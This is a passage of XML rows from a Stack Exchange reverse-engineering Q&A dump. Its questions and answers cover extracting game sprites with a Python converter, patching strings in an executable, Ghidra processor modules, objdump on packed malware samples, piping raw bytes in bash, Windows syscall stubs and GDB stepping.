(continued)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this is what the sprite and pallete looked like in NO$GBA.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Xkih1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xkih1.png&quot; alt=&quot;Figure 4: Output sprite&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GVQcP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GVQcP.png&quot; alt=&quot;Figure 5: Output palette&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pallette table OBP C (from left to right, RGB Format)&#xA;001010&#xA;0F0604&#xA;130B09&#xA;191311&#xA;1D1816&#xA;1A0C10&#xA;1C1013&#xA;1F1518&#xA;1F1C1D&#xA;1F1F1F&#xA;0F1808&#xA;151E0D&#xA;130508&#xA;1A0A0F&#xA;1D0F12&#xA;000000 (not used)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the max color hex is 1F, not FF.&#xA;001010 is used as a transparency filter if I assume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found sprites that were never used in the game, and I went to change the names of the characters, but it ended up freezing the game after I pressed continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to extract the sprites? Because I want to use it to create a sprite sheet, as well as creating a story using these characters.&lt;/p&gt;&#xA;" OwnerUserId="32844" LastActivityDate="2022-08-09T07:28:29.513" Title="Trying to rip the sprites of this game" Tags="|binary|binary-format|binary-editing|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24744" PostTypeId="2" ParentId="24742" CreationDate="2020-04-18T15:41:07.570" Score="0" Body="&lt;p&gt;The &lt;code&gt;.bin&lt;/code&gt; files hold the data for the sprite in bytes. You can easily dump each &lt;code&gt;.bin&lt;/code&gt; file and interpret it as sprite data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back when I was writing my NES emulator, it had an extremely outdated way of handling sprites. It had a &quot;left side&quot; of the full list of sprites in the cartridge, which lies in &lt;code&gt;0x0000-0x1000&lt;/code&gt; and then a &quot;right side&quot;, which respectively lies in &lt;code&gt;0x1000-0x1FFF&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example being in range &lt;code&gt;0x0000-0x0010&lt;/code&gt; there would respectively lie the left side of some sprite (each side was 16-bytes long). You would combine those bytes in that portion with &lt;code&gt;0x1000-0x1010&lt;/code&gt; which would be the right side of the sprite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, enough off-topic chatter. I just figured that would be interesting to you due to the similarities in structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to extract each byte inside of each &lt;code&gt;.bin&lt;/code&gt; file and store each one in a separate &lt;code&gt;std::uint8_t&lt;/code&gt; array. Then you can use something like SFML to render the pixels as raw data. I used &lt;code&gt;sf::Texture::loadFromMemory&lt;/code&gt; to go about doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to raw rip the textures to image files. You'll have to convert the bytes in each &lt;code&gt;.bin&lt;/code&gt; to a texture then output that texture as a &lt;code&gt;.bmp&lt;/code&gt; file. &lt;/p&gt;&#xA;" OwnerUserId="30451" LastActivityDate="2020-04-18T15:41:07.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24746" PostTypeId="1" AcceptedAnswerId="24747" CreationDate="2020-04-18T17:00:46.353" Score="0" ViewCount="959" Body="&lt;p&gt;I would like to replace some hard-coded strings in a compiled exe (in .data) which is in chinese (with no possibility to put it in other languages).&#xA;I managed to replace strings in hexadecimal with other ones of same lenght, but I face some issues of course when I want to replace strings with longer ones...First option - overwrite - will overwrite next bytes, and second option - insertion - will mess up my .exe probably because of his structure and so one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What possibilities do I have ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Already tried radar2;ResEdit; ResTuner which founds most of strings (string tables) but not the ones which needs interaction in the exe. For example if I click on a button a dialog appears, which is not found by those tools. That's why no I'm in need to replace those strings directly with an hexadecimal editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some reasearch it seems that those softwares found string in .rsrc but not in .data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I succeed. It seems that there is some kind of check of string length or something like this but not on all strings...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a replaced string with his correct size:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qZVd1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qZVd1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;ant it's function:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SoYUb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SoYUb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Here another with length issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M23GE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M23GE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;and it's local function: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/bqHPM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bqHPM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Here what I replaced :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pNTP8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pNTP8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that ther is probably a check of string length somewhere...where do I need to give an eye ?&#xA;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2&lt;/strong&gt;&#xA;Here sub_41A974 (I tried to understand what this fct is doing but I still don't understand:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nwmZZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nwmZZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fct sub_4028E0 sets font style :(1/2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XiCl9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XiCl9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2/2):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RKUUE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RKUUE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems that doesn't have to deal with any of this. Directly after started the software, my data is trunked (Windbg comfirmed it I only started and exit the software) :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nRNTE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nRNTE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30052" LastEditorUserId="30052" LastEditDate="2020-04-20T19:43:29.273" LastActivityDate="2020-04-20T19:43:29.273" Title="Replace string in hexa with a longer one in .bin without destroying the structure (in .data)" Tags="|binary-analysis|radare2|executable|strings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24747" PostTypeId="2" ParentId="24746" CreationDate="2020-04-18T18:15:29.423" Score="1" Body="&lt;p&gt;&lt;em&gt;Rewriting my answer:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resource editors (like ResTuner) find strings in resources, generally in the .rsrc section. This section is very easy to edit because it contains a tree of pointer/size to data. If you want to edit a string and you do not have enough space for the longer string - you can move it to some other address and fix the pointer and size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;can&lt;/em&gt; find the strings, but they are in .data (or some other section) then they are referenced in code by their offset. If you are lucky, the offsets are hardcoded in the program (i.e. you can see xrefs in RE tools), you can modify them. In this case, write your longer string where you have enough space, like at the end of the section and modify the hard-coded offset to point to the new area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resizing and moving sections around the binary files is also possible, in case you don't have enough space at the section end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the offsets to your strings are not hardcoded (i.e. they have no xrefs in RE tools) then they are dynamic and you will have to dig deeper in the code to find where they are referenced.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="30213" LastEditDate="2020-04-18T18:55:18.217" LastActivityDate="2020-04-18T18:55:18.217" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24748" PostTypeId="2" ParentId="24742" CreationDate="2020-04-18T22:33:20.760" Score="3" Body="&lt;p&gt;Both files are prepended with a 4 bytes large number; apparently the total size of the data that follows. I am ignoring it because the file sizes seem fixed. (Also, for the images the &lt;em&gt;other&lt;/em&gt; important data, its width and height, are not stored in the file.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Palette&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The palette is a 5 bits per channel BGR, with the highest bit unused. The two bytes are stored in little-endian order. Converting to True Color RGB is therefore a matter of bit shifting; you end up with 16 RGB color triplets.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Image&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The image is stored in 16 x 16 blocks, each 8 x 8 pixels, and every two consecutive pixels are packed into a single byte, right pixel first. Every pixel value ranges from 0..15 and maps immediately to the palette.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To unpack a single 8x8 block, all it takes is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for y in range(8):&#xA;    for x in range(4):&#xA;        print (img[4*y+x]])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which yields a series of 2-pixel data. I found it more convenient, below, to unpack each two nibbles immediately into 2 separate pixels; then it's a matter of looping over the right x and y axis to reassemble the entire image in a coherent, linear, 128x128 pixel bitmap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below then stores the RGB values for each pixel in a True-color PNG image; alternatively, you could save it as a palettized PNG image as well (or really any other image format you'd like).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Python 3.x code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This code needs &lt;a href=&quot;https://pypi.org/project/pypng/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;pypng&lt;/code&gt;&lt;/a&gt;. Adjust the fixed part of the path to your folder structure -- it should end with a slash. Save as &lt;code&gt;cookie2png.py&lt;/code&gt; and call from a command line with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python cookie2png.py Rose/bu_strawberry_LZ.bin\bu_strawberry_anger&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i.e., leave off the parts &lt;code&gt;_pal.bin&lt;/code&gt; and &lt;code&gt;_spr.bin&lt;/code&gt; so the script can find them on its own.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys,png&#xA;from struct import unpack&#xA;&#xA;path = &quot;/Sprites/Character files/&quot;&#xA;# base = 'bu_strawberry2'&#xA;base = sys.argv[1]&#xA;&#xA;with open (path+base+'_pal.bin', 'rb') as p:&#xA;    pal = p.read()&#xA;&#xA;pal = unpack('&amp;lt;I16H', pal)[1:]&#xA;pal = [bin(p)[2:].zfill(15) for p in pal]&#xA;rgb = [(int(p[10:15]+p[10:13],2),int(p[5:10]+p[5:8],2),int(p[0:5]+p[0:3],2)) for p in pal]&#xA;print ('rgb palette', *['%02x%02x%02x' % (r,g,b) for r,g,b in rgb])&#xA;&#xA;with open (path+base+'_spr.bin', 'rb') as i:&#xA;    img = i.read()&#xA;&#xA;# Strip header&#xA;img = img[4:]&#xA;# Convert nibbles to bytes&#xA;img = [[b &amp;amp; 0x0f,b &amp;gt;&amp;gt; 4] for b in img]&#xA;# Unpack list&#xA;img = [b for a in img for b in a]&#xA;&#xA;# Linearize image&#xA;target = []&#xA;for y in range(16):&#xA;    for yy in range(8):&#xA;        for x in range(16):&#xA;            for xx in range(8):&#xA;                target.append(rgb[img[16*64*y+64*x+8*yy+xx]])&#xA;&#xA;# Convert from palettized into True color&#xA;target = [color for rgb in target for color in rgb]&#xA;&#xA;# Split into rows, required by pypng&#xA;target = [target[i:i + 3*128] for i in range(0, len(target), 3*128)]&#xA;&#xA;w = png.Writer(128, 128, greyscale=False, bitdepth=8)&#xA;with open(path+base+'.png', 'wb') as f:&#xA;    w.write(f, target)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the results are as expected. Here is your &lt;code&gt;bu_strawberry&lt;/code&gt;, and a smattering of interesting others:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kQKFz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kQKFz.png&quot; alt=&quot;bu_strawberry&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/JFd1e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JFd1e.png&quot; alt=&quot;bu_bitter&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/ACh2i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ACh2i.png&quot; alt=&quot;bu_crunchy&quot;&gt;&lt;/a&gt;  &lt;a href=&quot;https://i.stack.imgur.com/jO7i3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jO7i3.png&quot; alt=&quot;bu_maccha&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/OMeQX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OMeQX.png&quot; alt=&quot;bu_opera&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2020-04-18T22:41:51.283" LastActivityDate="2020-04-18T22:41:51.283" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24749" PostTypeId="1" CreationDate="2020-04-19T01:18:56.960" Score="1" ViewCount="218" Body="&lt;p&gt;I just downloaded Ghidra last evening on a Fedora Linux machine with 4 Intel Core i5-7200U CPUs.&#xA;When querying the &quot;installed processor modules&quot; in &quot;Help&quot; I get a listing of 41 processors.&#xA;x86 is on the list, but x64 is not.&#xA;How do I fix that, and get the x64 processor module installed?&lt;/p&gt;&#xA;" OwnerUserId="32855" LastEditorUserId="32855" LastEditDate="2020-04-20T18:42:27.023" LastActivityDate="2020-04-20T18:42:27.023" Title="x64 processor module" Tags="|x86-64|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24750" PostTypeId="1" AcceptedAnswerId="24765" CreationDate="2020-04-19T02:51:15.780" Score="1" ViewCount="3938" Body="&lt;p&gt;So I have started to digging in malware analysis and I came across with some malware samples that I couldn't disassembly with objdump. More specifically I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -dS /path/to/malware&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I got the output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;malwareFile: file format pei-i386&#xA;objdump: Reading section .text failed because: File truncated &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With a little search I found&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6598/&quot;&gt;Unable to dump malware assembly using objdump&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -b binary -D -m i386 /path/to/malware&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I got its mnemonic codes but I cannot understand what happen even after reading from the Linux man page. Does with this way, the data, bss and code segment be treated as a whole? Can I really depend on this solution for my research?&lt;/p&gt;&#xA;" OwnerUserId="32857" LastEditorUserId="60" LastEditDate="2020-04-19T18:00:04.417" LastActivityDate="2020-04-19T18:00:04.417" Title="What does objdump -b binary means?" Tags="|disassembly|malware|objdump|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24751" PostTypeId="1" CreationDate="2020-04-19T04:19:14.917" Score="1" ViewCount="39" Body="&lt;p&gt;I would like to know how to change the read destination of the data in the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now want to modify the player data and fonts in a psx baseball game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the player data in the target game(called jikkyou powerful pro yakyuu premium ban) has a compressed data file (P_SC_M.BIN) and an uncompressed data file (P_SEL.BIN), and the one that is loaded in the game is compressed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can modify uncompressed data, but I can't modify compressed data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in this case, I would like to know how to change the in-game data read destination from compressed data to uncompressed data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you have any hints or information about useful tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="32858" LastActivityDate="2020-04-19T04:19:14.917" Title="how to change the read destination of the data in the game" Tags="|game-hacking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24753" PostTypeId="2" ParentId="24749" CreationDate="2020-04-19T07:08:46.797" Score="2" Body="&lt;p&gt;It's called &lt;code&gt;x86&lt;/code&gt; but you have the option to pick size - 64.&#xA; &lt;a href=&quot;https://i.stack.imgur.com/k7C3Y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k7C3Y.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-04-19T07:08:46.797" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24754" PostTypeId="2" ParentId="24750" CreationDate="2020-04-19T08:24:07.207" Score="2" Body="&lt;p&gt;The &lt;code&gt;-b&lt;/code&gt; switch specifies the format as binary, telling objdump to ignore the header and treat everything as instructions. The &lt;code&gt;-D&lt;/code&gt; switch is also present in your question and this one means that objdump will treat the content of all sections as instructions even if it did take the header/file type into account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you onlt specify &lt;code&gt;-D&lt;/code&gt; then it will treat all sections as instructions but it will print the section name before its data, so you can tell where it comes from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, if it is a malware file and normal use of objdump does not handle it properly then it suggests that the file is packed and in this case the disassembly is &lt;s&gt;not&lt;/s&gt; less useful before it is unpacked. Unless of course the packing technique itself is of interest.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="30213" LastEditDate="2020-04-19T08:30:55.207" LastActivityDate="2020-04-19T08:30:55.207" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24755" PostTypeId="1" AcceptedAnswerId="24756" CreationDate="2020-04-19T08:48:57.430" Score="14" ViewCount="10017" Body="&lt;p&gt;I want to pass raw bytes to a (C) program using the Linux Bash shell. I find that when I try to pass for example &quot;\x00\xFF\xAB&quot;, the program receiving the input actually gets the &lt;strong&gt;ASCII character codes&lt;/strong&gt; for the string, rather than interpret them as the raw bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way I've seen people accomplish this is by calling &lt;code&gt;python -c 'print(&quot;\x00\xFF\xAB&quot;)'&lt;/code&gt; and piping output to the program under test. Is there a way to do this without using Python by just using the Bash shell?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="1654" LastEditDate="2020-04-23T05:12:36.073" LastActivityDate="2020-04-23T05:12:36.073" Title="What are some ways to pass raw bytes to a program via the Linux terminal?" Tags="|binary-analysis|binary|fuzzing|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24756" PostTypeId="2" ParentId="24755" CreationDate="2020-04-19T08:53:42.403" Score="10" Body="&lt;p&gt;Use &lt;code&gt;echo -e&lt;/code&gt; and pipe to your program's input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;code&gt;echo -e &quot;\x41\x42\x43\x44&quot; | &amp;lt;executable&amp;gt;&lt;/code&gt;&#xA;Will write ABCD as input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&#xA;You can pass null-bytes&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="30213" LastEditDate="2020-04-19T09:53:59.187" LastActivityDate="2020-04-19T09:53:59.187" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24757" PostTypeId="1" CreationDate="2020-04-19T09:37:19.840" Score="1" ViewCount="207" Body="&lt;p&gt;I have a clear &lt;code&gt;.class&lt;/code&gt; file, which is likely obfuscated. However, Ghidra is not detecting it as Java, and shows it as &lt;code&gt;Raw binary&lt;/code&gt;, which prevents me from using the &lt;code&gt;Java Class Analyzer&lt;/code&gt; on the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force Ghidra to identify the file as &lt;code&gt;Java class file&lt;/code&gt; or to show me the &lt;code&gt;Java Class Analyzer&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SMUaH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SMUaH.jpg&quot; alt=&quot;Ghidra&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18064" LastActivityDate="2020-04-19T09:37:19.840" Title="Force Format/Analyser on obfuscated/anti-disassembly file" Tags="|ghidra|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24758" PostTypeId="1" AcceptedAnswerId="24762" CreationDate="2020-04-19T10:03:27.073" Score="3" ViewCount="879" Body="&lt;p&gt;I've been reading about the way syscalls are called in windows.&lt;br&gt;&#xA;The general theme in all the articles I read is:&lt;br&gt;&#xA;64bit- called inside ntdll&lt;br&gt;&#xA;32bit- from ntdll jumping to KiFastSystemcall&lt;br&gt;&#xA;but when I opened IDA with ntdlls from both 64 and 32 bit to verify these articles this is what I saw:&lt;br&gt;&#xA;(32bit)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NtCreateFile proc near&#xA;mov     eax, 55h        ; syscall num&#xA;mov     edx, offset j_Wow64Transition&#xA;call    edx ; weird stub is called instead of KiFastSystemcall.&#xA;            ; I couldn't find anything about it.perhaps a wrapper around KiFastSystemcall?&#xA;&#xA;retn    2Ch&#xA;NtCreateFile endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(64bit)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NtCreateFile proc near&#xA;mov     r10, rcx        ; NtCreateFile&#xA;mov     eax, 55h&#xA;test    byte ptr ds:7FFE0308h, 1 ; some test to decide wether to use int 0x2E or syscall?&#xA;                                 ; I don't know why int 0x2E be used. I thought it causes overhead?&#xA;jnz     short loc_18009CB15&#xA;syscall                 &#xA;retn&#xA;loc_18009CB15:          &#xA;int     2Eh             &#xA;retn&#xA;NtCreateFile endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if anyone knows why the system calls are called like this I would love to know.&lt;br&gt;&#xA;to summarize:&lt;br&gt;&#xA;(32 bit) why is j_Wow64Transition there instead of KiFastSystemcall?&lt;br&gt;&#xA;(64 bit) what is being compared and why?&lt;br&gt;&#xA;thanks.               &lt;/p&gt;&#xA;" OwnerUserId="32861" LastActivityDate="2020-04-20T21:02:46.117" Title="Windows - syscalls being called in a strange way?" Tags="|ida|windows|kernel-mode|kernel|system-call|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24759" PostTypeId="1" AcceptedAnswerId="24760" CreationDate="2020-04-19T10:12:23.617" Score="0" ViewCount="193" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jfH22.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jfH22.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;My question is, when i dont use any breakpoint it show the message saying &quot;You made it, now keygen me!&quot;, but when i put a breakpoint in the main, or any other place it will show a message about __libc_start_main, and will not show the message saying &quot;You made it, now keygen me!&quot;, why this happens because of the breakpoint?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vhlcK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhlcK.png&quot; alt=&quot;when i run with break&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/ceaGq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ceaGq.png&quot; alt=&quot;When i run without break&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32862" LastEditorUserId="32862" LastEditDate="2020-04-19T10:40:21.107" LastActivityDate="2020-04-19T11:44:53.860" Title="GDB disassembly - breakpoint problem" Tags="|disassembly|gdb|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24760" PostTypeId="2" ParentId="24759" CreationDate="2020-04-19T11:44:53.860" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDB documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: If you use the step command while control is within a function that was compiled without debugging information, execution proceeds until control reaches a function that does have debugging information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;next [count]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Continue to the next source line in the current (innermost) stack frame. This is similar to step, but function calls that appear within the line of code are executed without stopping.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The file you are analysing was not compiled with debug information - GDB in fact tells you that by:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;&lt;em&gt;Single stepping until exit from function &lt;code&gt;main&lt;/code&gt;, which has no line information.&lt;/em&gt;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;According to the same GDB docs, to step over one assembly line, which, I assume is what you want to do, you can use &lt;code&gt;nexti&lt;/code&gt; (&lt;code&gt;ni&lt;/code&gt;) command.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-04-19T11:44:53.860" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24761" PostTypeId="1" CreationDate="2020-04-19T13:54:10.993" Score="-1" ViewCount="175" Body="&lt;p&gt;Is there a tool to automatic decompile an assembly x86 code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is a tool where I simply paste my code and it returns C code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="32864" LastActivityDate="2020-04-19T15:11:33.813" Title="Automatic decompilation from Assembly x86" Tags="|assembly|decompilation|disassemblers|decompile|decompiler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
